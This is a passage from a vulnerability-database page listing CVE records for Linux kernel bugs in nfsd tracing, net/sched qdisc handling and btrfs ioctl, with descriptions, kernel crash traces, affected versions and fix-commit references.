      "title": "Bluetooth: btintel: Fix null ptr deref in btintel_read_version",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35933",
    "datePublished": "2024-05-19T10:10:41.020Z",
    "dateReserved": "2024-05-17T13:50:33.130Z",
    "dateUpdated": "2026-05-12T11:52:56.822Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2021-38202 (GCVE-0-2021-38202)

Vulnerability from cvelistv5 – Published: 2021-08-08 19:25 – Updated: 2026-05-12 10:12

Summary

fs/nfsd/trace.h in the Linux kernel before 5.13.4 might allow remote attackers to cause a denial of service (out-of-bounds read in strlen) by sending NFS traffic when the trace event framework is being used for nfsd.

Severity ?

No CVSS data available.

CWE

Assigner

mitre

References

3 references

URL	Tags
https://cdn.kernel.org/pub/linux/kernel/v5.x/Chan…	x_refsource_MISC
https://github.com/torvalds/linux/commit/7b08cf62…	x_refsource_MISC
https://security.netapp.com/advisory/ntap-2021090…	x_refsource_CONFIRM

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-04T01:37:16.361Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.13.4"
          },
          {
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/torvalds/linux/commit/7b08cf62b1239a4322427d677ea9363f0ab677c6"
          },
          {
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20210902-0010/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:12:18.678Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "fs/nfsd/trace.h in the Linux kernel before 5.13.4 might allow remote attackers to cause a denial of service (out-of-bounds read in strlen) by sending NFS traffic when the trace event framework is being used for nfsd."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2021-09-02T08:06:49.000Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.13.4"
        },
        {
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/torvalds/linux/commit/7b08cf62b1239a4322427d677ea9363f0ab677c6"
        },
        {
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://security.netapp.com/advisory/ntap-20210902-0010/"
        }
      ],
      "x_legacyV4Record": {
        "CVE_data_meta": {
          "ASSIGNER": "cve@mitre.org",
          "ID": "CVE-2021-38202",
          "STATE": "PUBLIC"
        },
        "affects": {
          "vendor": {
            "vendor_data": [
              {
                "product": {
                  "product_data": [
                    {
                      "product_name": "n/a",
                      "version": {
                        "version_data": [
                          {
                            "version_value": "n/a"
                          }
                        ]
                      }
                    }
                  ]
                },
                "vendor_name": "n/a"
              }
            ]
          }
        },
        "data_format": "MITRE",
        "data_type": "CVE",
        "data_version": "4.0",
        "description": {
          "description_data": [
            {
              "lang": "eng",
              "value": "fs/nfsd/trace.h in the Linux kernel before 5.13.4 might allow remote attackers to cause a denial of service (out-of-bounds read in strlen) by sending NFS traffic when the trace event framework is being used for nfsd."
            }
          ]
        },
        "problemtype": {
          "problemtype_data": [
            {
              "description": [
                {
                  "lang": "eng",
                  "value": "n/a"
                }
              ]
            }
          ]
        },
        "references": {
          "reference_data": [
            {
              "name": "https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.13.4",
              "refsource": "MISC",
              "url": "https://cdn.kernel.org/pub/linux/kernel/v5.x/ChangeLog-5.13.4"
            },
            {
              "name": "https://github.com/torvalds/linux/commit/7b08cf62b1239a4322427d677ea9363f0ab677c6",
              "refsource": "MISC",
              "url": "https://github.com/torvalds/linux/commit/7b08cf62b1239a4322427d677ea9363f0ab677c6"
            },
            {
              "name": "https://security.netapp.com/advisory/ntap-20210902-0010/",
              "refsource": "CONFIRM",
              "url": "https://security.netapp.com/advisory/ntap-20210902-0010/"
            }
          ]
        }
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2021-38202",
    "datePublished": "2021-08-08T19:25:59.000Z",
    "dateReserved": "2021-08-08T00:00:00.000Z",
    "dateUpdated": "2026-05-12T10:12:18.678Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-50039 (GCVE-0-2024-50039)

Vulnerability from cvelistv5 – Published: 2024-10-21 19:39 – Updated: 2026-05-12 11:59

Title

net/sched: accept TCA_STAB only for root qdisc

Summary

In the Linux kernel, the following vulnerability has been resolved: net/sched: accept TCA_STAB only for root qdisc Most qdiscs maintain their backlog using qdisc_pkt_len(skb) on the assumption it is invariant between the enqueue() and dequeue() handlers. Unfortunately syzbot can crash a host rather easily using a TBF + SFQ combination, with an STAB on SFQ [1] We can't support TCA_STAB on arbitrary level, this would require to maintain per-qdisc storage. [1] [ 88.796496] BUG: kernel NULL pointer dereference, address: 0000000000000000 [ 88.798611] #PF: supervisor read access in kernel mode [ 88.799014] #PF: error_code(0x0000) - not-present page [ 88.799506] PGD 0 P4D 0 [ 88.799829] Oops: Oops: 0000 [#1] SMP NOPTI [ 88.800569] CPU: 14 UID: 0 PID: 2053 Comm: b371744477 Not tainted 6.12.0-rc1-virtme #1117 [ 88.801107] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 88.801779] RIP: 0010:sfq_dequeue (net/sched/sch_sfq.c:272 net/sched/sch_sfq.c:499) sch_sfq [ 88.802544] Code: 0f b7 50 12 48 8d 04 d5 00 00 00 00 48 89 d6 48 29 d0 48 8b 91 c0 01 00 00 48 c1 e0 03 48 01 c2 66 83 7a 1a 00 7e c0 48 8b 3a <4c> 8b 07 4c 89 02 49 89 50 08 48 c7 47 08 00 00 00 00 48 c7 07 00 All code ======== 0: 0f b7 50 12 movzwl 0x12(%rax),%edx 4: 48 8d 04 d5 00 00 00 lea 0x0(,%rdx,8),%rax b: 00 c: 48 89 d6 mov %rdx,%rsi f: 48 29 d0 sub %rdx,%rax 12: 48 8b 91 c0 01 00 00 mov 0x1c0(%rcx),%rdx 19: 48 c1 e0 03 shl $0x3,%rax 1d: 48 01 c2 add %rax,%rdx 20: 66 83 7a 1a 00 cmpw $0x0,0x1a(%rdx) 25: 7e c0 jle 0xffffffffffffffe7 27: 48 8b 3a mov (%rdx),%rdi 2a:* 4c 8b 07 mov (%rdi),%r8 <-- trapping instruction 2d: 4c 89 02 mov %r8,(%rdx) 30: 49 89 50 08 mov %rdx,0x8(%r8) 34: 48 c7 47 08 00 00 00 movq $0x0,0x8(%rdi) 3b: 00 3c: 48 rex.W 3d: c7 .byte 0xc7 3e: 07 (bad) ... Code starting with the faulting instruction =========================================== 0: 4c 8b 07 mov (%rdi),%r8 3: 4c 89 02 mov %r8,(%rdx) 6: 49 89 50 08 mov %rdx,0x8(%r8) a: 48 c7 47 08 00 00 00 movq $0x0,0x8(%rdi) 11: 00 12: 48 rex.W 13: c7 .byte 0xc7 14: 07 (bad) ... [ 88.803721] RSP: 0018:ffff9a1f892b7d58 EFLAGS: 00000206 [ 88.804032] RAX: 0000000000000000 RBX: ffff9a1f8420c800 RCX: ffff9a1f8420c800 [ 88.804560] RDX: ffff9a1f81bc1440 RSI: 0000000000000000 RDI: 0000000000000000 [ 88.805056] RBP: ffffffffc04bb0e0 R08: 0000000000000001 R09: 00000000ff7f9a1f [ 88.805473] R10: 000000000001001b R11: 0000000000009a1f R12: 0000000000000140 [ 88.806194] R13: 0000000000000001 R14: ffff9a1f886df400 R15: ffff9a1f886df4ac [ 88.806734] FS: 00007f445601a740(0000) GS:ffff9a2e7fd80000(0000) knlGS:0000000000000000 [ 88.807225] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 88.807672] CR2: 0000000000000000 CR3: 000000050cc46000 CR4: 00000000000006f0 [ 88.808165] Call Trace: [ 88.808459] <TASK> [ 88.808710] ? __die (arch/x86/kernel/dumpstack.c:421 arch/x86/kernel/dumpstack.c:434) [ 88.809261] ? page_fault_oops (arch/x86/mm/fault.c:715) [ 88.809561] ? exc_page_fault (./arch/x86/include/asm/irqflags.h:26 ./arch/x86/include/asm/irqflags.h:87 ./arch/x86/include/asm/irqflags.h:147 arch/x86/mm/fault.c:1489 arch/x86/mm/fault.c:1539) [ 88.809806] ? asm_exc_page_fault (./arch/x86/include/asm/idtentry.h:623) [ 88.810074] ? sfq_dequeue (net/sched/sch_sfq.c:272 net/sched/sch_sfq.c:499) sch_sfq [ 88.810411] sfq_reset (net/sched/sch_sfq.c:525) sch_sfq [ 88.810671] qdisc_reset (./include/linux/skbuff.h:2135 ./include/linux/skbuff.h:2441 ./include/linux/skbuff.h:3304 ./include/linux/skbuff.h:3310 net/sched/sch_g ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/2acbb9539bc2284e3…
https://git.kernel.org/stable/c/adbc3eef43fc94c7c…
https://git.kernel.org/stable/c/8fb6503592d390653…
https://git.kernel.org/stable/c/76feedc74b9027039…
https://git.kernel.org/stable/c/1edf039ee01788ffc…
https://git.kernel.org/stable/c/3dc6ee96473cc2962…
https://git.kernel.org/stable/c/3cb7cf1540ddff547…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 175f9c1bba9b825d22b142d183c9e175488b260c , < 2acbb9539bc2284e30d2aeb789c3d96287014264 (git) Affected: 175f9c1bba9b825d22b142d183c9e175488b260c , < adbc3eef43fc94c7c8436da832691ae02333a972 (git) Affected: 175f9c1bba9b825d22b142d183c9e175488b260c , < 8fb6503592d39065316f45d267c5527b4e7cd995 (git) Affected: 175f9c1bba9b825d22b142d183c9e175488b260c , < 76feedc74b90270390fbfdf74a2e944e96872363 (git) Affected: 175f9c1bba9b825d22b142d183c9e175488b260c , < 1edf039ee01788ffc25625fe58a903ae2efa213e (git) Affected: 175f9c1bba9b825d22b142d183c9e175488b260c , < 3dc6ee96473cc2962c6db4297d4631f261be150f (git) Affected: 175f9c1bba9b825d22b142d183c9e175488b260c , < 3cb7cf1540ddff5473d6baeb530228d19bc97b8a (git)
Linux	Linux	Affected: 2.6.27 Unaffected: 0 , < 2.6.27 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.57 , ≤ 6.6.* (semver) Unaffected: 6.11.4 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-50039",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-22T13:25:02.696853Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-22T13:28:44.508Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:24:45.361Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:59:51.952Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "include/net/sch_generic.h",
            "net/sched/sch_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "2acbb9539bc2284e30d2aeb789c3d96287014264",
              "status": "affected",
              "version": "175f9c1bba9b825d22b142d183c9e175488b260c",
              "versionType": "git"
            },
            {
              "lessThan": "adbc3eef43fc94c7c8436da832691ae02333a972",
              "status": "affected",
              "version": "175f9c1bba9b825d22b142d183c9e175488b260c",
              "versionType": "git"
            },
            {
              "lessThan": "8fb6503592d39065316f45d267c5527b4e7cd995",
              "status": "affected",
              "version": "175f9c1bba9b825d22b142d183c9e175488b260c",
              "versionType": "git"
            },
            {
              "lessThan": "76feedc74b90270390fbfdf74a2e944e96872363",
              "status": "affected",
              "version": "175f9c1bba9b825d22b142d183c9e175488b260c",
              "versionType": "git"
            },
            {
              "lessThan": "1edf039ee01788ffc25625fe58a903ae2efa213e",
              "status": "affected",
              "version": "175f9c1bba9b825d22b142d183c9e175488b260c",
              "versionType": "git"
            },
            {
              "lessThan": "3dc6ee96473cc2962c6db4297d4631f261be150f",
              "status": "affected",
              "version": "175f9c1bba9b825d22b142d183c9e175488b260c",
              "versionType": "git"
            },
            {
              "lessThan": "3cb7cf1540ddff5473d6baeb530228d19bc97b8a",
              "status": "affected",
              "version": "175f9c1bba9b825d22b142d183c9e175488b260c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "include/net/sch_generic.h",
            "net/sched/sch_api.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.27"
            },
            {
              "lessThan": "2.6.27",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.57",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.57",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.4",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.27",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: accept TCA_STAB only for root qdisc\n\nMost qdiscs maintain their backlog using qdisc_pkt_len(skb)\non the assumption it is invariant between the enqueue()\nand dequeue() handlers.\n\nUnfortunately syzbot can crash a host rather easily using\na TBF + SFQ combination, with an STAB on SFQ [1]\n\nWe can\u0027t support TCA_STAB on arbitrary level, this would\nrequire to maintain per-qdisc storage.\n\n[1]\n[   88.796496] BUG: kernel NULL pointer dereference, address: 0000000000000000\n[   88.798611] #PF: supervisor read access in kernel mode\n[   88.799014] #PF: error_code(0x0000) - not-present page\n[   88.799506] PGD 0 P4D 0\n[   88.799829] Oops: Oops: 0000 [#1] SMP NOPTI\n[   88.800569] CPU: 14 UID: 0 PID: 2053 Comm: b371744477 Not tainted 6.12.0-rc1-virtme #1117\n[   88.801107] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n[   88.801779] RIP: 0010:sfq_dequeue (net/sched/sch_sfq.c:272 net/sched/sch_sfq.c:499) sch_sfq\n[ 88.802544] Code: 0f b7 50 12 48 8d 04 d5 00 00 00 00 48 89 d6 48 29 d0 48 8b 91 c0 01 00 00 48 c1 e0 03 48 01 c2 66 83 7a 1a 00 7e c0 48 8b 3a \u003c4c\u003e 8b 07 4c 89 02 49 89 50 08 48 c7 47 08 00 00 00 00 48 c7 07 00\nAll code\n========\n   0:\t0f b7 50 12          \tmovzwl 0x12(%rax),%edx\n   4:\t48 8d 04 d5 00 00 00 \tlea    0x0(,%rdx,8),%rax\n   b:\t00\n   c:\t48 89 d6             \tmov    %rdx,%rsi\n   f:\t48 29 d0             \tsub    %rdx,%rax\n  12:\t48 8b 91 c0 01 00 00 \tmov    0x1c0(%rcx),%rdx\n  19:\t48 c1 e0 03          \tshl    $0x3,%rax\n  1d:\t48 01 c2             \tadd    %rax,%rdx\n  20:\t66 83 7a 1a 00       \tcmpw   $0x0,0x1a(%rdx)\n  25:\t7e c0                \tjle    0xffffffffffffffe7\n  27:\t48 8b 3a             \tmov    (%rdx),%rdi\n  2a:*\t4c 8b 07             \tmov    (%rdi),%r8\t\t\u003c-- trapping instruction\n  2d:\t4c 89 02             \tmov    %r8,(%rdx)\n  30:\t49 89 50 08          \tmov    %rdx,0x8(%r8)\n  34:\t48 c7 47 08 00 00 00 \tmovq   $0x0,0x8(%rdi)\n  3b:\t00\n  3c:\t48                   \trex.W\n  3d:\tc7                   \t.byte 0xc7\n  3e:\t07                   \t(bad)\n\t...\n\nCode starting with the faulting instruction\n===========================================\n   0:\t4c 8b 07             \tmov    (%rdi),%r8\n   3:\t4c 89 02             \tmov    %r8,(%rdx)\n   6:\t49 89 50 08          \tmov    %rdx,0x8(%r8)\n   a:\t48 c7 47 08 00 00 00 \tmovq   $0x0,0x8(%rdi)\n  11:\t00\n  12:\t48                   \trex.W\n  13:\tc7                   \t.byte 0xc7\n  14:\t07                   \t(bad)\n\t...\n[   88.803721] RSP: 0018:ffff9a1f892b7d58 EFLAGS: 00000206\n[   88.804032] RAX: 0000000000000000 RBX: ffff9a1f8420c800 RCX: ffff9a1f8420c800\n[   88.804560] RDX: ffff9a1f81bc1440 RSI: 0000000000000000 RDI: 0000000000000000\n[   88.805056] RBP: ffffffffc04bb0e0 R08: 0000000000000001 R09: 00000000ff7f9a1f\n[   88.805473] R10: 000000000001001b R11: 0000000000009a1f R12: 0000000000000140\n[   88.806194] R13: 0000000000000001 R14: ffff9a1f886df400 R15: ffff9a1f886df4ac\n[   88.806734] FS:  00007f445601a740(0000) GS:ffff9a2e7fd80000(0000) knlGS:0000000000000000\n[   88.807225] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[   88.807672] CR2: 0000000000000000 CR3: 000000050cc46000 CR4: 00000000000006f0\n[   88.808165] Call Trace:\n[   88.808459]  \u003cTASK\u003e\n[   88.808710] ? __die (arch/x86/kernel/dumpstack.c:421 arch/x86/kernel/dumpstack.c:434)\n[   88.809261] ? page_fault_oops (arch/x86/mm/fault.c:715)\n[   88.809561] ? exc_page_fault (./arch/x86/include/asm/irqflags.h:26 ./arch/x86/include/asm/irqflags.h:87 ./arch/x86/include/asm/irqflags.h:147 arch/x86/mm/fault.c:1489 arch/x86/mm/fault.c:1539)\n[   88.809806] ? asm_exc_page_fault (./arch/x86/include/asm/idtentry.h:623)\n[   88.810074] ? sfq_dequeue (net/sched/sch_sfq.c:272 net/sched/sch_sfq.c:499) sch_sfq\n[   88.810411] sfq_reset (net/sched/sch_sfq.c:525) sch_sfq\n[   88.810671] qdisc_reset (./include/linux/skbuff.h:2135 ./include/linux/skbuff.h:2441 ./include/linux/skbuff.h:3304 ./include/linux/skbuff.h:3310 net/sched/sch_g\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:44:18.634Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/2acbb9539bc2284e30d2aeb789c3d96287014264"
        },
        {
          "url": "https://git.kernel.org/stable/c/adbc3eef43fc94c7c8436da832691ae02333a972"
        },
        {
          "url": "https://git.kernel.org/stable/c/8fb6503592d39065316f45d267c5527b4e7cd995"
        },
        {
          "url": "https://git.kernel.org/stable/c/76feedc74b90270390fbfdf74a2e944e96872363"
        },
        {
          "url": "https://git.kernel.org/stable/c/1edf039ee01788ffc25625fe58a903ae2efa213e"
        },
        {
          "url": "https://git.kernel.org/stable/c/3dc6ee96473cc2962c6db4297d4631f261be150f"
        },
        {
          "url": "https://git.kernel.org/stable/c/3cb7cf1540ddff5473d6baeb530228d19bc97b8a"
        }
      ],
      "title": "net/sched: accept TCA_STAB only for root qdisc",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-50039",
    "datePublished": "2024-10-21T19:39:39.115Z",
    "dateReserved": "2024-10-21T12:17:06.070Z",
    "dateUpdated": "2026-05-12T11:59:51.952Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35849 (GCVE-0-2024-35849)

Vulnerability from cvelistv5 – Published: 2024-05-17 14:47 – Updated: 2026-05-12 11:52

Title

btrfs: fix information leak in btrfs_ioctl_logical_to_ino()

Summary

In the Linux kernel, the following vulnerability has been resolved: btrfs: fix information leak in btrfs_ioctl_logical_to_ino() Syzbot reported the following information leak for in btrfs_ioctl_logical_to_ino(): BUG: KMSAN: kernel-infoleak in instrument_copy_to_user include/linux/instrumented.h:114 [inline] BUG: KMSAN: kernel-infoleak in _copy_to_user+0xbc/0x110 lib/usercopy.c:40 instrument_copy_to_user include/linux/instrumented.h:114 [inline] _copy_to_user+0xbc/0x110 lib/usercopy.c:40 copy_to_user include/linux/uaccess.h:191 [inline] btrfs_ioctl_logical_to_ino+0x440/0x750 fs/btrfs/ioctl.c:3499 btrfs_ioctl+0x714/0x1260 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:904 [inline] __se_sys_ioctl+0x261/0x450 fs/ioctl.c:890 __x64_sys_ioctl+0x96/0xe0 fs/ioctl.c:890 x64_sys_call+0x1883/0x3b50 arch/x86/include/generated/asm/syscalls_64.h:17 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Uninit was created at: __kmalloc_large_node+0x231/0x370 mm/slub.c:3921 __do_kmalloc_node mm/slub.c:3954 [inline] __kmalloc_node+0xb07/0x1060 mm/slub.c:3973 kmalloc_node include/linux/slab.h:648 [inline] kvmalloc_node+0xc0/0x2d0 mm/util.c:634 kvmalloc include/linux/slab.h:766 [inline] init_data_container+0x49/0x1e0 fs/btrfs/backref.c:2779 btrfs_ioctl_logical_to_ino+0x17c/0x750 fs/btrfs/ioctl.c:3480 btrfs_ioctl+0x714/0x1260 vfs_ioctl fs/ioctl.c:51 [inline] __do_sys_ioctl fs/ioctl.c:904 [inline] __se_sys_ioctl+0x261/0x450 fs/ioctl.c:890 __x64_sys_ioctl+0x96/0xe0 fs/ioctl.c:890 x64_sys_call+0x1883/0x3b50 arch/x86/include/generated/asm/syscalls_64.h:17 do_syscall_x64 arch/x86/entry/common.c:52 [inline] do_syscall_64+0xcf/0x1e0 arch/x86/entry/common.c:83 entry_SYSCALL_64_after_hwframe+0x77/0x7f Bytes 40-65535 of 65536 are uninitialized Memory access of size 65536 starts at ffff888045a40000 This happens, because we're copying a 'struct btrfs_data_container' back to user-space. This btrfs_data_container is allocated in 'init_data_container()' via kvmalloc(), which does not zero-fill the memory. Fix this by using kvzalloc() which zeroes out the memory on allocation.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/689efe22e9b5b7d9d…
https://git.kernel.org/stable/c/73db209dcd4ae0260…
https://git.kernel.org/stable/c/30189e54ba80e3209…
https://git.kernel.org/stable/c/e58047553a4e859da…
https://git.kernel.org/stable/c/8bdbcfaf3eac42f98…
https://git.kernel.org/stable/c/3a63cee1a5e14a3e5…
https://git.kernel.org/stable/c/fddc19631c51d9c17…
https://git.kernel.org/stable/c/2f7ef5bb4a2f3e481…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: a542ad1bafc7df9fc16de8a6894b350a4df75572 , < 689efe22e9b5b7d9d523119a9a5c3c17107a0772 (git) Affected: a542ad1bafc7df9fc16de8a6894b350a4df75572 , < 73db209dcd4ae026021234d40cfcb2fb5b564b86 (git) Affected: a542ad1bafc7df9fc16de8a6894b350a4df75572 , < 30189e54ba80e3209d34cfeea87b848f6ae025e6 (git) Affected: a542ad1bafc7df9fc16de8a6894b350a4df75572 , < e58047553a4e859dafc8d1d901e1de77c9dd922d (git) Affected: a542ad1bafc7df9fc16de8a6894b350a4df75572 , < 8bdbcfaf3eac42f98e5486b3d7e130fa287811f6 (git) Affected: a542ad1bafc7df9fc16de8a6894b350a4df75572 , < 3a63cee1a5e14a3e52c19142c61dd5fcb524f6dc (git) Affected: a542ad1bafc7df9fc16de8a6894b350a4df75572 , < fddc19631c51d9c17d43e9f822a7bc403af88d54 (git) Affected: a542ad1bafc7df9fc16de8a6894b350a4df75572 , < 2f7ef5bb4a2f3e481ef05fab946edb97c84f67cf (git)
